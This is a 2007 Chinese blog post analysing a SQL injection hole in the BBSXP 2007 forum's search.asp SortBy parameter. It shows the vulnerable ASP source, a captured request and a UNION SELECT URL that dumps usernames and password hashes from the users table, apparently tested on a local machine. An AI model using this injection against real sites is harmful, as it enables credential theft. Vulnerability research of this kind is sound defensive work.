BBSXP 2007的初探
    首先感谢sobiny。最近B.C.T的朋友似乎发布了很多BBSXP2007的漏洞。我今天在官方下了一个BBSXP2007的最新版本(发布日期:2007年7月7日发布)。大致看了一下,在一种极端的情况下,说明一下漏洞的利用方法。
   举例说明,search.asp,我们看如下代码:
      <!-- #include file="Setup.asp" --><%
       HtmlTop

ForumID=RequestInt("ForumID")
      DateComparer=RequestInt("DateComparer")

if Request("menu")="Result" then
 Keywords=HTMLEncode(Request("Keywords"))

SortBy=HTMLEncode(Request("SortBy"))
 Item=HTMLEncode(Request("Item"))

if Keywords="" then error("您没有输入任何查询条件!")
 if Request("VerifyCode")<>Session("VerifyCode") or Session("VerifyCode")="" then error("验证码错误!")

SQLSearch="IsApproved=1 and IsDel=0 and "&Item&" like '%"&Keywords&"%' "
 
 if DateComparer > 0 then SQLSearch=SQLSearch&" and PostTime>"&SqlNowString&"-"&DateComparer&" "

if ForumID > 0 then SQLSearch=SQLSearch&" and ForumID="&ForumID&" "

sql="select * from [BBSXP_Threads] where "&SQLSearch&" order by ThreadID "&SortBy&""
 Rs.Open sql,Conn,1
   我们找到BBSXP_Class.asp,找到如下代码:
       Function HTMLEncode(fString)

fString=Trim(fString)
 fString=Replace(fString,CHR(9),"")
 fString=Replace(fString,CHR(13),"")
 fString=Replace(fString,CHR(22),"")
 fString=Replace(fString,CHR(38),"&") '“&”
 fString=Replace(fString,CHR(32)," ") '“ ”
 fString=Replace(fString,CHR(34),""") '“"”
 fString=Replace(fString,CHR(39),"'") '“'”
 fString=Replace(fString,CHR(60),"<") '“<”
 fString=Replace(fString,CHR(62),">") '“>”
 fString=Replace(fString,CHR(92),"\") '“\”
 fString=Replace(fString,CHR(45)&CHR(45),"--") '“--”
 fString=Replace(fString,CHR(59),";") '“;”
 fString=Replace(fString,CHR(10),"<br>")
 fString=ReplaceText(fString,"([])([a-z0-9]*);","$1$2;")

if SiteConfig("BannedText")<>"" then fString=ReplaceText(fString,"("&SiteConfig("BannedText")&")",string(len("&$1&"),"*"))

if IsSqlDataBase=0 then '过滤片假名(日文字符)[\u30A0-\u30FF] by yuzi
  fString=escape(fString)
  fString=ReplaceText(fString,"%u30([A-F][0-F])","0$1;")
  fString=unescape(fString)
 end if

HTMLEncode=fString
       End Function
   前面我们说,在一种极端的情况下,其实这里我们要测试要做如下手脚,把htmlencode的第六行注释掉:
             'fString=Replace(fString,CHR(32)," ") '“ ”
   然后我们来利用,在论坛注册一个Ivory的用户,然后发一张帖子,如图一:

    
   然后点“搜索”,搜索一下刚才的帖子。如图二:
   
   这时候进行抓包。抓包后的结果:
POST /bbsxp/Search.asp?menu=Result HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://192.168.1.106/bbsxp/Search.asp?ForumID=1
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 192.168.1.106
Content-Length: 79
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ForumNameList=%3Coption%20value%3D%27ShowForum.asp%3FForumID%3D1%27%3E111%3C/option%3E; Themes=default; ASPSESSIONIDQCSBDDCT=HMIHPBPADLHDJPLCKOHKJBMM; Invisible=0; UserID=2; Userpass=7C4A8D09CA3762AF61E59520943DC26494F8941B

Keywords=test&Item=Topic&DateComparer=365&SortBy=Desc&ForumID=1&VerifyCode=9915

好了,这时候,我们就可以自行构造了:
比如我构造如下语句:
http://192.168.1.106/bbsxp/Search.asp?menu=Result&Keywords=test&Item=Topic&DateComparer=365&SortBy=Desc%20union%20select%201,1,1,1,userpass,username,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20[bbsxp_users]%20order%20by%20ThreadID&ForumID=1&VerifyCode=9915
就会出现如图三的效果:


相信大家看的很明显了,立刻暴出了用户名和相对应的密码。当然大家可以自行构造自己想要的语句,这里有两个问题没有解决:
一个就是BBSXP的40位加密问题、另外一个就是我说的是在极端条件下的注入方法,具体怎么饶过这个CHR(32)还在研究中,不知道是头脑发热还是没睡醒,既然BCT发布出来了,就一定有他的理由。
                                                                                                  2007-7-9

转载于:https://www.cnblogs.com/allyesno/archive/2007/07/09/811335.html

BBSXP 2007的初探相关推荐

  1. 分享154个ASP源码,总有一款适合您

    ASP源码 分享154个ASP源码,总有一款适合您 下面是文件的名字,我放了一些图片,文章里不是所有的图主要是放不下..., 154个ASP源码下载链接:https://pan.baidu.com/s ...

  2. bbsxp2007 SQL漏洞

    1. bbsxp 2007斑竹权限注射 moderation.asp中的这些代码 if Request.ServerVariables("Request_method") = &q ...

  3. SAP Web Intelligence初探

    SAP Web Intelligence初探 1,什么是SAP Webi? Web Intelligence is part of SAP BusinessObjects product suite ...

  4. Tech·Ed 2007大会课程内容

    北京会场:2007年11月07日 星期三 时间 分会场一 分会场二 分会场三 分会场四 分会场五 分会场六 分会场七 分会场八 分会场九 分会场十 08:00 - 09:00 来宾签到/合作伙伴展区开 ...

  5. 【文件格式探究】EP.1 对ePub文件格式的初探

    这是"文件格式探究"专题的第 1 期--初探 "ePub" 文件格式.这个专题将会给各位读者呈现笔者探索各种文件格式的过程,具体则是文件的内容是如何呈现出来的. ...

  6. 罗格数据:生命周期动态模拟技术及其在税收领域应用初探 | 会员专栏

    本篇发表于:<税务研究>2018.10 总第 405 期 由罗格研究院"互联网+税务"课题组(北京罗格数据科技有限公司 北京 100080)提供 在2018年<税 ...

  7. 【转】初探计算机视觉的三个源头、兼谈人工智能

    初探计算机视觉的三个源头.兼谈人工智能|正本清源 2016-12-12 视觉求索 谈话人: 杨志宏 视觉求索公众号编辑 朱松纯 加州大学洛杉矶分校UCLA统计学和计算机科学教授 Song-Chun Z ...

  8. 初探计算机视觉的三个源头、兼谈人工智能|正本清源

    初探计算机视觉的三个源头.兼谈人工智能|正本清源 谈话人 杨志宏 视觉求索公众号编辑 朱松纯 加州大学洛杉矶分校UCLA统计学和计算机科学教授 Song-Chun Zhu www.stat.ucla. ...

  9. 初探QQ空间本地安全问题!

    QQ用了好多年,但昨天才开通QQ空间,我一直感觉QQ空间太幼稚,太花,本身的博客系统也不成熟, 以前QQ空间是可以复制代码进行控制页面的,同时腾讯也开放了一些端口,但现在呢? 其实这正是腾讯对QQ空间 ...

最新文章

  1. 认识RESTful设计风格
  2. 集中配置管理工具puppet安装使用
  3. TCL with SNPS collection_limitget_lib_pins
  4. wxWidgets:wxTextInputStream类用法
  5. createprocess重启程序_C++_VC程序设计中CreateProcess用法注意事项,对于windows程序设计来说,启动 - phpStudy...
  6. 爱情三十一课,先信自己
  7. HDFS Federation在美团点评的应用与改进
  8. 数据增长率怎么算_2019 年“泰迪杯”数据分析职业技能大赛A题 超市销售数据分析...
  9. Number()函数转换‘单个数值的数组‘为何是数字?【JavaScript】
  10. Unity3d + UGUI 的多分辨率适配
  11. Java对象映射XML文件
  12. ad18 bell封装_AD元件库中的常用元件和元器件封装资料合集
  13. Unmapped Spring configuration files found.
  14. 笔记:线性代数的本质
  15. 进制转换(C++实现)
  16. 西部世界:生存(WestLand Survival) 游戏攻略
  17. 蓝桥杯T513---- 算法训练 素因子去重 java
  18. Traceback (most recent call last)
  19. 计算理论和自动机理论学习笔记
  20. 国产超低功耗华大单片机HC32L136开发板上手入门

热门文章

  1. Linux云计算命令大全
  2. 崛起币区块链解决方案助教育部门打击全球文凭造假
  3. Alfred 4创建自己的自定义搜索教程!
  4. 七、集成MyBatis
  5. 微信小程序之侧栏分类
  6. 迪文串口屏的串口通信问题处理(详细)
  7. Ubuntu 硬盘扩容
  8. JAVA综合面试题 页面的抓取 解析 保存数据库和生成HTML的页面展示
  9. 第 9 部分:Web 2.0 用户界面技术
  10. 从滔搏财报看鞋服零售:压力未除,但曙光渐近